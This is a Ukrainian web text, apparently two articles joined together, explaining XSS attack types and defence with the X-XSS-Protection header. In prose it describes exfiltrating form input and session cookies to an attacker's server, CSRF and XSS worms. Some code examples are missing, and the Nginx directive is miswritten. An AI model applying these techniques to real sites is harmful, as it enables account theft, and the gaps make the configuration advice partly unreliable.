Шукаємо форму через, наприклад, getElementById і відстежуємо подію onsubmit. Тепер, перед відправкою форми, введені дані надсилаються також і сервер зловмисника.

Цей тип атаки чимось нагадує фішинг, тільки використовується не підроблений сайт, а реальний чим викликається більша довіра жертви.

DDoS-атака (розподілена атака типу «відмова в обслуговуванні»)

XSS-вразливість на багато відвідуваних ресурсах може бути використана для проведення DDoS-атаки. Суть проста - багато запитів, які не витримує сервер, що атакується.
Власне відношення до XSS має непряме, оскільки скрипти можуть і не використовуватися зовсім, достатньо конструкції виду:

Підробка міжсайтових запитів (CSRF/XSRF)

Також має опосередковане відношення до XSS. Взагалі, це окремий тип уразливості, але часто використовується спільно з XSS. Суть полягає в тому, що користувач, авторизований на невразливому сайті, заходить на вразливий (або спеціальну сторінку зловмисника), з якого надсилається запит на вчинення певних дій.

Грубо кажучи, в ідеалі має бути так. Користувач авторизувався у системі платежів. Потім зайшов на сайт зловмисника або сайт із XSS-вразливістю, з якого вирушив запит на переказ грошей на рахунок зловмисника.

Тому більшість сайтів під час здійснення певних дій користувача (наприклад, зміна e-mail) перепитують пароль або просять ввести код підтвердження.

XSS-хробаки

Цей тип атаки з'явився, напевно, завдяки соцмережам, таким як Вконтакте та Twitter. Суть у тому, що кільком користувачам соцмережі посилається посилання з XSS-уразливістю, коли вони перейдуть за посиланням, то інтегрований скрипт розсилає повідомлення іншим користувачам від імені та т.д. При цьому можуть здійснюватися й інші дії, наприклад, відсилання особистих даних жертв зловмиснику.

Безневинний XSS

Цікаво, що лічильники за своєю суттю теж є до певної міри активною XSS-атакою. Адже на сторонній сервер передаються дані про відвідувача, як, наприклад, його IP-адресу, дозвіл монітора тощо. Тільки код у свою сторінку ви інтегруєте з власної волі :) Подивіться, наприклад, код Google Analytic.

Використання заголовків безпеки є важливою ланкою захисту сайту та його відвідувачів від хакерських атак. Минулої статті про з рубрики захисту та безпеки я обіцяв регулярно публікувати записи на цю тему. Сьогодні я розповім про захист від атак XSS.

Що таке XSS-атака

Міжсайтовий скриптинг (Cross Site Scripting) - це вразливість, яка дозволяє зловмиснику впровадити шкідливий код (зазвичай HTML або JavaScript) у вмісті сайту. Шкідливий код виконується у браузері користувача, який переглядає заражену сторінку сайту.

Зловмисники можуть експлуатувати різні вразливості. Найбільшого поширення набули два типи атаки:

  • Відбита (Reflected XSS) – найпоширеніший непостійний тип атаки, що вимагає виконання певної дії з боку користувача.
  • Зберігаючи (Persistent XSS) - постійний тип атаки з використанням шкідливого коду на сервер, не вимагає втручання користувача.
Відбита XSS-атака

Спрацьовує при переході користувача за спеціально підготовленим посиланням, яке надсилає запит на сайт із вразливістю. Ця вразливість зазвичай є результатом недостатньої фільтрації вхідних запитів, що дозволяє маніпулювати функціями та активувати шкідливі скрипти.

  • Зловмисник впроваджує в гіперпосилання шкідливий скрипт, що дозволяє переглядати cookies сесії користувача, і відправляє жертві електронною поштою або іншими засобами комунікації.
  • При переході на посилання користувач стає захопленим.
  • Скрипт виконується у браузері користувача.
  • Браузер відправляє cookies зловмиснику, забезпечуючи доступ до особистих даних користувача.
  • Зберігається XSS-атака

    Для успішного виконання атаки, що зберігається, зловмиснику достатньо знайти вразливість на сайті і розмістити на своєму сервері шкідливий скрипт. Потім на сайті розміщується тег , який завантажує скрипт із зовнішнього сайту, наприклад, у коментарях. При завантаженні зараженої сторінки шкідливий скрипт щоразу передається до браузера користувача.

  • Зловмисник виявляє сайт із XSS вразливістю та виконує ін'єкцію шкідливого скрипту, який краде cookies користувача.
  • При кожному відвідуванні сайту шкідливий скрипт активується без виконання будь-яких дій.
  • Сесійні куки з браузера відвідувача вирушають зловмиснику.
  • Увімкнення заголовка X-XSS-Protection

    Заголовок X-XSS-Protection призначений для увімкнення фільтра міжсайтового скриптингу, вбудованого у всіх сучасних браузерах. Він дозволить, наприклад, запобігти виконанню тега в URL сторінки.

    Директива report для надсилання звітів діє аналогічно директиві report-uri (або report-to) Content Security Policy (CSP), вказуючи браузеру користувача повідомляти про спроби порушення політики безпеки контенту. Про це я розповім у окремій статті.

    Звіт про порушення формується у форматі JSON і надсилається запитами POST за вказаною адресою URL.

    Повертаючись до основної теми, рекомендую налаштувати сервер таким чином, щоб заголовок HTTP включав фільтрацію і при XSS-атаці блокував завантаження сторінки з небезпечним вмістом. У файлі додаткової конфігурації.htaccess (або httpd.conf, якщо у вас є повний доступ до сервера) веб-сервера Apache необхідно додати наступний запис:

    Header set X-XSS-Protection "1; mode=block"

    Для сервера Nginx доповніть файл nginx.conf у розділі HTTP записом:

    Add_header X-XSS-Protection "1; mode=block" ;

    Якщо доступ до конфігураційних файлів сервера відсутній, але є підтримка PHP, тоді використовуйте функцію:

    Cross Site Scripting, також відомий як XSS, - це один із способів впровадження шкідливого коду, який виконується на стороні клієнта. Користувач може помітити щось негаразд, наприклад, незвичайна поведінка сторінки, іноді атака відбувається абсолютно непомітно у фоновому режимі.

    Сподіваюся, тепер ви стали трохи більше розуміти в заголовках HTTP сервера і X-XSS допоможе запобігти міжсайтовому скриптингу. Я використовую заголовки безпеки на всіх своїх сайтах і рекомендую вам зробити те саме. Разом ми можемо зробити інтернет безпечнішим! 😉

     

     

    Це цікаво: